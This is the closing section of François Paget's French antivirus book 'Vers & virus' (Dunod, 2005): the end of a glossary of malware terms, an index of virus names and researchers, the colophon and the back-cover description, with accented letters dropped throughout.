OPCODE lment dterminant dune instruction en assembleur qui la dfinie et la diffrencie sans ambigut. Il sagit souvent du premier ou des 2 premiers octets (code hexadcimal) dune instruction. PARE-FEU Voir Firewall. PASSWORD STEALER Voir Renifleur de mot de passe. PATCH Petit programme destin apporter des amliorations un programme ou corriger des bogues de fonctionnement. PAYLOAD Voir Charge Finale.

302

Vers & virus

PE (Portable Executable) Format de fichiers excutables propre aux systmes dexploitation Microsoft depuis Windows95. POLYMORPHE Qualificatif appliqu aux virus changeant leurs instructions ou simplement lordre de celles-ci chaque infection. Il correspond en fait un virus crypt ayant intgr dans son programme de dcryptage un algorithme de mutation. PORTE DROBE (Backdoor) Programme implment secrtement sur une machine et permettant ensuite son concepteur de sy introduire distance. PROGRAMME (virus) Virus, dont le vecteur de contamination principal est constitu par les excutables. PUBICIEL Voir Adware PWS (PassWord Stealer) Voir Renifleur de mot de passe. RECOUVREMENT Qualificatif appliqu aux virus qui crasent avec leur code tout ou partie des fichiers quils infectent. RENIFLEUR DE CLAVIER (Keylogger) Programme ddi la capture dinformations. Frappes au clavier, celles ci sont enregistres en continue ou selon des critres prdfinis. Elles sont ensuite retransmises au pirate qui souhaite se les approprier. RENIFLEUR DE MOT DE PASSE (Password Stealer, PWS) Programme ddi la capture de mots de passe. Ceux-ci sont enregistrs lors de la frappe au clavier puis retransmis par un moyen quelconque au pirate qui souhaite se les approprier. RSIDENT (TSR Terminate and Stay Resident) Qualificatif sappliquant aux programmes restant actif en mmoire aprs leur excution. Ils peuvent ainsi interagir, en temps rel, avec des vnements intervenants sur la machine. RETRO-VIRUS Voir Dfensif. ROBOTS Voir Bots. RUMEUR (Hoax) Information malveillante et non fonde qui, dans le contexte de ce livre, est diffuse par courrier lectronique, dans le but deffrayer le destinataire ou de nuire une personne ou un organisme.

Glossaire

303

RTM (Robert Tappan Morris) Nom donn au ver qui affecta Internet le 2 novembre 1988. En relation directe avec le nom de son auteur. SANDBOX (Bac Sable) Environnement protg dont un programme, mme malveillant, ne peut en thorie pas schapper durant son excution pour causer un dommage sur le systme environnant. Le concept a t popularis par lenvironnement dexcution protg des applets Java. SCAM AFRICAIN Message proposant un montage financier attractif derrire lequel se cache une escroquerie qui sarticule gnralement autour dune demande davance de fond de la part de la victime. SCANNER Logiciel antivirus fonctionnant par reconnaissance de signatures simples ou complexes. SCRIPT (virus de) Virus crit en langage interprt (exemple : Visual Basic Script ou JavaScript) laide de combinaisons de commandes et dinstructions prtablies. SIGNATURE DE CONTAMINATION Technique par laquelle le virus est en mesure de dceler sa propre prsence pour se prmunir dune double installation en mmoire vive ou dune surcontamination sur un fichier ou une zone systme. Le virus utilise gnralement une suite hexadcimale de caractres ou des spcificits quil apporte dans la dfinition de la date du fichier quil infecte. SIGNATURE DE DIAGNOSTIC Suite de caractres hexadcimaux permettant de caractriser la prsence dun virus et le distinguant de toute autre infection. Squence utilise par les logiciels fonctionnant par recherche de signature. SMURFING Attaque en dni de service (DoS) consistant envoyer massivement des requtes ICMP echo-request. SNIFFER Logiciel renifleur de trafic permettant linterception des trames et leurs analyses. SPAM Courrier non sollicit, polluriel. Message caractre commercial sappuyant ventuellement sur une usurpation dadresse lectronique. SPOOFING Usurpation dadresse IP. Technique consistant usurper lidentit dun utilisateur autoris du rseau en falsifiant son adresse IP. SPYWARE (Espiogiciel) Programme espion, qui recueille et transmet une rgie publicitaire, insu de linternaute et sans sa permission, des donnes personnelles, notamment sur ses intrts et ses habitudes de navigation.

Dunod La photocopie non autorise est un dlit

304

Vers & virus

SYSTME (virus) Virus dont le vecteur de contamination est le secteur de partition ou le secteur de dmarrage des disques durs et des disquettes. TEMPS REL (On Access) Mode dynamique danalyse anti-virale effectue par lentremise dun module rsident charge au dmarrage de la machine. Chaque fichier faisant lobjet dune demande daccs par le systme est analys. TOP-10 Liste des 10 virus les plus frquemment rencontrs dans la nature (In-The-Wild) dans une priode donne. TRIGGER Voir Gchette. TROJAN Voir Cheval de Troie. VARIANTE Virus cr sur le mme modle quun prcdent virus. VCI (Virus Communication Interface) Interface imagine par les auteurs de virus pour favoriser les changes dinformation entre les virus et leurs donner des ordres. VER (Worm) Programme capable de se propager de machine en machine au travers des connexions rseau et de manire indpendante. VIRUS Programme capable dinfecter dautres programmes en les modifiant pour y inclure une copie de lui-mme. WILDLIST Organisme international qui a pour but de recenser lensemble des virus dans la nature (In-The-Wild) au niveau mondial. La collecte seffectue grce de nombreux chercheurs rpartis sur les cinq continents. Les statistiques sont mensuelles. http://www.wildlist.org/ WORM Voir Ver. ZOMBIE Machine dont on a pris le contrle pour raliser une attaque telle quun Dni de Service Distribu (DDoS Distributed Denial of Service). Ce terme est souvent utilis comme synonyme de robot. ZOO Collection virale.

Index

Nombres
097M/TRISTATE 72 1260 54 20/20 22 29A 73, 104, 130, 179, 283, 284 3APA3A 62 40Hex 60, 61

AVERT 64, 83 AVP 50

B
Baby 109 Back Orifice 31 backdoor 26 BackDoor-JW 29 BadGuy 158 BatMan 62, 220 BBS 53 Beast 58 Benny 104, 283 BHO 23 BIOS 133, 136 Bit Addict 60 Bizatch 66 Black Baron 60, 63 Black Wolf 60 blended threat 107 bombe logique 25 BOOT 88 Boot Sector 88, 132 botnet 292 Brain 45, 46, 51 buffer overflow 209

A
A2KM/Sadip@MM 217 A97M/Accessiv 217 A97M/Cross 218 A97M/Tox 218 Adam Levitt 38 Adware 22 AIDS-II.8064 57 ajout 159 Alameda 51 Alan Solomon 49, 54, 58 Anticmos 69 154 Anti-Congo 41 anti-debugging 101 Antiexe 69, 89 anti-virus 221, 231 Anti-Virus Toolkit from S&S 49 appender 160 Applets Java hostiles 28 APStrojan@MM 209 ARCV 63 Arj-virus 62 Arthur Burks 36

C
C-4 48 canulars 18 CARO 58, 107, 111, 125 Cascade 47, 49, 51, 109, 161 cavit 162, 187

Chameleon 54 checksum 48 Chen Ing-hau 70 Cheval de Troie 26, 112 Chile Mediera 104 Chk4Bomb 48 Christoph Fischer 58 Civil_War 110 CLUSIF 2, 49, 76, 254, 263, 293 cluster 139, 164 CNIL 11 cocktail 107 code checksum 228 code complmentaire 136, 142, 148, 152, 153 CodeBlue.worm 287 CodeRed 268 Columbus Day 49 Commander Bomber 54, 62 compagnons 164 contrle dintgrit 48, 228 Core War 37 CPW 104 Craig Schmugar 83 CreateObject 196 CREEPER 37 Cruncher 61 cryptage 47, 102, 215

D
DAME 60 Dark Angel 60

306

Vers & virus

Dark Avenger 53 Dark Slayer 60 Datacrime 48, 51 David Gerrold 39 David L. Smith 75 DDM 13 dbordement de tampon 209 dlimiteurs 111 dlocalis 57, 164 Den Zuko 47, 51, 153 deni de service (DoS) 32 dni de service distribu (DDoS) 33 dvolution 111, 122 DGME 60 dialers 30 DIR-II 57 Dmsetup.worm 203 DMU 60 DMV 64 Dr Solomon 70, 74 dropper 79, 89, 112 DSME 60 dump mmoire 113 duplication 94

F
farces 18 fast infector 53 Father Christmas Worm 44 Flip 55, 154 flooding 32 Flu_shot 48 Form 69, 89, 142, 153 F-Prot 50 F-PROT Development 64 fractionnement 163 fraude 419 14 Fred Cohen 34, 41 Fridrik Skulason 47, 50, 58, 107 FriendGreetings 289 Frodo 57, 107 Frogbender 18 FSMN 111 Fu Manchu 51 furtivit 45, 55, 57, 61, 106, 151, 215, 218

HLLC 109 HLLO 109 HLLP.Toadie@MM 199 HLLT/Toadie@MM 98 HLLW.Idomoshe 96 hoax 6, 64 Homepage 80, 91 Horse Boot 89 Hyjackers 23

I
IBM Christmas Tree 43 IBM V SCAN 49, 50 Image Base 169 implanteurs 89, 112 infecteur rapide 53, 55, 107 injecteurs 89, 112 Instant Messenger 209 intended 112, 125 interruptions 134 Intruder 56 IRC 203 IRC/Acoragil 203 IRC/Theme.worm 203

G
Gaobot 267, 291 garbage 113, 181 GenB 109 gnrateurs de virus 59 GenP 109 Genvirus 59 Good Times 64 Gotcha 54, 110 GP1 57 Grammersoft 78 GriYo 104 GT-Spoof 64 Gunther Musstopf 58 Gunther von Gravenreuth 58

E
Eddy Willems 59 EDV 151 EICAR 58 eicar.com 251 Elk Cloner 40 en-tte des sections 170 en-tte MS-DOS 167 en-tte optionnelle 168 en-tte PE 167 entrelacement 162 EntryPoint RVA 169 Eudora 210 Eugne Kaspersky 50, 62, 287 EXEBug 62, 150 Executable Linkable Format 94 exploit 271

J
Jan Hruska 54 JavaScript 91 Jrusalem 46, 48, 49, 51, 109, 160 Jimmy Kuo 65 Joe Wells 56, 63 John Brunner 39 John Louis von Neumann 35 John McAfee 48, 50 John Shoch 34, 38, 40 jokes 18 Jon Hupp 34, 38, 40 JS/Kak@M 72, 78, 80, 91, 98, 194 JS/TheFly@MM 91, 98 JUMPER 69 Jumper.B 69, 89, 148, 153 JUNKIE 69

H
Hackers 47 Happy-99 72 HLL.C 109 HLL.ow 109

Index

307

K
keylogger 27 KeyLog-SSKC 27 Kilroy 56 kit 112 Klaus Brunnstein 58

L
Lehigh 46, 51, 162 lettres chanes 8 Linear Executable 94, 127 Linux 129 Linux/Bliss 130 Linux/Etap 130 Linux/Radix.ow 158 Linux/Simile 130 Lovsan 81

M
MAC/Simpsons@MM 98 Macintosh 128 MacOS/Autostart 128 MacOS/Simpsons@MM 128 macro-virus 51, 65, 67, 72, 90, 194, 211, 261 Mafia.a 27 Maltese Amoeba 55 Manta 60 MAPI 206 Marc Blanchard 283 Marijuana 47 Marius Van Oers 65 Mark Ludwig 56, 60 mass-mailer 72, 80, 94, 97, 112, 124, 128, 196, 261 Mass-Produced Code Generator 60 Master Boot Record (MBR) 88, 132 Masud Khafir 54, 60, 61 MBR 88 McAfee 64 McAfee Associates 69 Mental Driller 130 MessageLabs 83 mtamorphisme 103 Michael Weiner 58 Michelangelo 59

micro-programme mode rel 167 Mikko Hypponen 104 Mini 109 Minimal 109 minus-virus 50 Moloch 154 moniteur de virus 225 monitoring de programme 48, 231 Monkey 63, 69, 152 Morton Swimmer 58 Mozilla 248 MtE 110 MtE.Pogue 54 MTX_II 79 multi-application 213 multipartite 54, 57, 61, 89, 154, 213, 218 Murphy 58 Mutation Engine 53

opcodes 102, 181 OS/2 127 OS2.AEP 67 OS2/AEP 127 OS2/DA 67 OS2/Jiskefet 127 OS2/Myname 127 OS2first 67

P
P97M/Phlaco 216 P97M/Yesi 216 PalmOS/Phage 79 pare-feu 236 Parity Boot 69, 89 partition rcursive 153 PassWord Stealer (PWS) 27, 280 Paul Ducklin 58 Paul Langemeyer 58 payload 33, 104 PDF 199 Peach 106 Pegasus 199, 210 Peter Denning 34 Peter Haag 293 Peter Troxler 293 Phalcon/Skism 60 phishing 15, 293 PIF 246 PIF/Fable@MM 98 Ping-Pong 46, 51 plate-forme 113 plug-ins 284, 285 Ply 102 Pogue 110 point dentre obscur 159, 184 polymorphie 53, 54, 55, 61, 62, 63, 103, 154, 180, 216 Porn-Dialer 30 Portable Executable 93, 165 porte drobe 26, 277 poste poste 81, 99, 201, 208 Prank 65 prepender 160 prvisualisation 194 Priest 61 programmes simples 19 propagation 94

N
Natas 61 NetBus Pro 32 Network Associates Inc. 69 Neurobasher 62, 105 New Executable 92 Nick FitzGerald 111, 196 NNTP 210 nom de famille 108, 120 nom de groupe 109, 121 Nomenclatura 58 Norton Antivirus 56 Nowhere Man 60 NuKE 60 nuker 33

Dunod La photocopie non autorise est un dlit

O
O97M/Cybernet@MM 98 O97M/Shiver 196 O97M/Tristate 114, 196 Objets Active-X hostiles 29 offset 146 oligomorphiques 102 Omicron 55 One_Half 61, 89, 154, 162 Onel de Guzman 76

308

Vers & virus

Proxy-Guzu 30 PS-MPC 60 PWS-Hooker.dll 27, 281

Q
Qark 64 Quantum 66

R
Rabbit 71 Rainbow 63, 152 Randex 291 rang de variante 109, 110, 111, 122 Real-Mode Stub Program 167 REAPER 37 recherche gnrique 225 recherche heuristique 229 recherche par signature 222 recouvrement 158 rcursivit 112, 125 renifleur de clavier 27, 281 renifleurs de mot de passe 27, 280 renifleurs de trafic 32 rtro-virus 62, 104 RHINCE 64 robots 267, 291 Roger Riodan 59 Roger Riordan 50 RTF 287 RTM Worm 43 rumeurs 6 Rush Hour 46 RVA 169

Sendkeys 195 Sentry 48 ShellScrap 246 Shifting Objectives 62 SHS 246 signature du virus 160 Silly 109 singularit 108, 110, 112, 123 Slider joke 18 Small 109 SMEG 60 SMEG-Pathogen 63 SMTP 204 smurfing 32 Sniff-ICQ.WPD 32 socket 205 Socket de Troie 31 Socket23 278 Sophos 54 spam 293 spamming 11 Spanska 72 spoofing 32, 205 Spybot 267, 291 Spyware 23 Staog 67 Starship 57 Stealth 56 Stoned 46, 51, 59, 69 Stoned-Spirit 153 Stream NTFS 191 SubSeven 285 Symantec 56

Tremor 62, 105 TridenT 54, 60 trigger 33 Trivial 108 trojan 20, 26, 112

U
Ultimate Mutation Engine 60 Univ 109 Unix 129

V
V2P1 54 Vaccine 54 VBS/BubbleBoy@MM 78, 195 VBS/Davinia@MM 30 VBS/Entice.ow 158 VBS/FreeLink@MM 91, 98 VBS/GWV 99, 201 VBS/LifeStages@MM 246 VBS/Loding 198 VBS/LoveLetter@MM 6, 72, 75, 91, 197 VBS/Monopoly@MM 91 VBS/Netlog 96, 201 VBS/Peachy@MM 197, 199 VBS/Sludge.worm 201 VBS/Stages@MM 72 VBS/Tam@MM 80 VBS/Timofonica@MM 79 VBS/TripleSix@MM 91 VBS/VBS@MM 80 VBS/VBSWG@MM 91 VBS/Vierika 198 VBS/Wobble@MM 6 VBS/XPMsg@MM 29 VBSV 71 VCL 60 VCS V1.0 60 Vecna 284 ver 34, 39, 94, 193 vers automatiques 100, 209 Vesselin Bontchev 50, 53, 57, 58, 64, 107, 125 Vet (Cybec) 50 VGREP 120 VicodinES 75, 218 Vienna 46

T
table dallocation des fichiers (FAT) 140 taille 121 TbScan 229 Tchernobyl 70 Tequila 55, 89, 106, 154 Thomas Ryan 40 Thread Local Storage 189 Timid 56 Tiny 58, 109 TLS 189 TPE 60 TPE.1_0.Girafe 60 trashbin 113

S
Sarah Gordon 65, 67 Satanbug 106 scam africain 14 ScanProt 65 Sdbot 267 secteur de dmarrage 88, 109, 132 secteur de partition 88, 109, 132 secteur logique 137, 139, 146 secteur physique 137, 146

Index

309

VIRDEM 46 Virtran 54 virus 34, 39, 94, 112 virus Batch 92 Virus Bulletin 52 Virus Communication Interface (VCI) 283 virus compagnon 57 virus de script 71, 72, 90, 91, 158, 194, 211, 219, 261 virus dfensif 104 virus interprtes 89 virus multipartite 87 Virus Patrol 74 virus programme 70, 80, 92, 157 virus systme 45, 69, 88, 131 VIRUS-L 53 VirusScan 50, 69 VLAD 67 VLAD#4 64 VME 60 vulnrabilit 209, 271

W
W16/RedTeam@MM 98 W16/Tentacle.1966 61 W2K/Stream 191 W32/Android@M 206 W32/Anvil 225 W32/Apparition 103 W32/Auric@MM 100 W32/Babylonia@M 206 W32/Badtrans@MM 194, 281 W32/Bagle@MM 94, 288 W32/Benjamin.worm 81, 99 W32/BlackBat 102 W32/Blaster.worm 81, 208 W32/Blebla@MM 204 W32/Bolzano 183 W32/Bugbear@MM 80, 81, 278, 281 W32/Bymer.worm 204 W32/Cabanas 177 W32/Caw 163 W32/Chiton 161, 189 W32/Choke.worm 204, 209 W32/CodeRed.worm 81, 101, 208, 268, 277, 287

Dunod La photocopie non autorise est un dlit

W32/Crypto 225 W32/Dengue 104 W32/Duksten@MM 210 W32/Dumaru@MM 82, 98, 191 W32/Etap 130 W32/EXPLOREZIP.worm@M 72 W32/ExploreZIP@MM 204 W32/Fix@M 204 W32/Fizzer@MM 80 W32/Floodnet@MM 209 W32/Forforo 185 W32/Fourseman@MM 99 W32/Frethem@MM 80 W32/Gnuman.worm 99, 208 W32/Grand!p2p 223 W32/Haless 182 W32/Hayque.worm 96, 208 W32/HLL.ow.ANT 158 W32/HLL.ow.Jetto 158 W32/HLLP.DE TROIE 69 W32/Hybris@MM 72, 80, 204, 285 W32/Kazmor.worm 99 W32/Kelino 101 W32/Klez@MM 80, 84, 105, 280 W32/Kriz 189 W32/Lirva@MM 80, 105 W32/Lovsan.worm 272 W32/Maddis.worm 107 W32/Magistr@MM 80, 204, 206, 280 W32/Marburg 70 W32/Mimail@MM 80, 282 W32/MTX@M 72, 204, 206 W32/Mydoom@MM 83, 94, 255 W32/Mylife@MM 204, 207 W32/MyParty@MM 80 W32/Nachi.worm 81, 208 W32/Navidad@M 72, 80, 207 W32/Netsky@MM 94 W32/Newpic.worm 204 W32/Nimda@MM 81, 205, 208, 286 W32/Orez 187 W32/Parvo@MM 206

W32/PrettyPack@MM 72, 206 W32/Sabia.prc 79 W32/Sasser.worm 208 W32/Simile 130 W32/Sircam@MM 80, 81, 205, 206, 280 W32/Ska@M 72, 204, 206 W32/Smibag.worm 209 W32/Sobig@MM 14, 80, 81, 283 W32/SQLSlammer 81 W32/SQLSlammer.worm 101, 208, 269 W32/SUK 225 W32/Suppl@M 206 W32/Swen@MM 80, 82 W32/Torvil@MM 210 W32/Ultimax.worm 30 W32/Urbe@MM 207 W32/Yaha@MM 80, 105 W32/Yarner@MM 224 W32/Zmist 225 W95/Anxiety 161, 175 W95/Babylonia@M 284 W95/Boza 66, 173 W95/CIH 70, 72, 107, 223 W95/Fono 207 W95/Kuang 278 W95/Marburg 180 W95/MTX 106 W95/Padania 179 W95/Parvo@MM 98 W95/Weird 278 W97M/AntiMarc@MM 98, 195 W97M/Class 68, 72, 75 W97M/Coldape 71, 196 W97M/Cross 218 W97M/Eight941 123 W97M/Ethan 72 W97M/Groov 68, 71 W97M/Jim@MM 199 W97M/Lucia 198 W97M/MARKER 72 W97M/Melissa@MM 72, 74, 197 W97M/Mimir@MM 197, 198 W97M/Moridin@MM 199 W97M/Nail@MM 197

310

Vers & virus

W97M/NightShade 67 W97M/PolyPoster@MM 195 W97M/Wazzu 67 Welchia 81 Whale 57 WildList 63, 93 Win32/HLLP.DeTroie 278 Winvir_1_4 61 WM/CAP 69, 72, 216 WM/Colors 215 WM/Concept 65, 69, 215 WM/Futurenot 216

WM/Hassle 216 WM/Inexist 69 WM/Johnny 123 WM/MDMA 69, 215 WM/NPAD 69 WM/Rapi 123 WM/Sharefun@MM 98, 195 WM/Wazzu 69, 215 WormNET 283 Worms Against Nuclear Killers 44

X
X97M/Laroux 216 X97M/Papa@MM 98, 197 XF/Paix 68, 69, 217 XM/Laroux 67, 216

Z
zombie 33 Zulu 78

48311 - (I) - (1,5 + 0,3) - OSB 100 - STY - API Achev dimprimer sur les presses de SNEL Grafics sa rue Saint-Vincent 12 B-4020 Lige Tl +32(0)4 344 65 60 - Fax +32(0)4 341 48 41 mai 2005 34608

Dpt lgal : mai 2005 Imprim en Belgique

INFOPRO

TYPE DOUVRAGE L'ESSENTIEL SE FORMER RETOURS D'EXPRIENCE

MANAGEMENT DES SYSTMES D'INFORMATION APPLICATIONS MTIERS TUDES, DVELOPPEMENT, INTGRATION EXPLOITATION ET ADMINISTRATION

Franois Paget

VERS & VIRUS


Classification, lutte anti-virale et perspectives
Ce livre sadresse aux responsables scurit, aux directeurs des systmes dinformation et leurs quipes. Il est aussi destin tous ceux qui ont des responsabilits dans le domaine de la scurit informatique. Aprs avoir dcouvert qui est qui et qui fait quoi, lhistoire du phnomne virus est aborde dans son ensemble. Les vers et les virus sont ensuite dcrits dans leurs multiples formes, et le lecteur est amen dcouvrir la structure interne des fichiers modernes avec lil du chercheur. Louvrage aborde ensuite la protection anti-virale dans ses aspects thoriques, pratiques autant que mthodologiques. Ayant expliqu les mthodes, des pistes sont ouvertes pour aider le professionnel et le particulier dans sa qute dun bon anti-virus. Pour conclure, le livre met en perspective les dernires volutions depuis lan 2000 et confirme larrive dune nouvelle et dangereuse cybercriminalit. Il dmontre que les auteurs de virus daujourdhui ne cherchent plus, ni dtruire, ni dtriorer des informations, mais il dvoile dautres buts qui, plus discrets, sont souvent bien plus prjudiciables.

RSEAUX & TLCOMS

FRANOIS PAGET Franois Paget est chercheur anti-virus depuis bientt quinze ans. Il est membre fondateur du groupe AVERT (Anti-virus and Vulnerability Emergency Response Team) au sein de McAfee. Au niveau europen, il est membre de lEICAR (European Institute of Computer Anti-Virus Research). Avec dautres professionnels du monde entier, il participe aux travaux de divers forums techniques dont celui de la Wildlist qui a pour but de recenser l'ensemble des virus actifs au niveau mondial

ISBN 2 10 008311 2

www.dunod.com

S-ar putea să vă placă și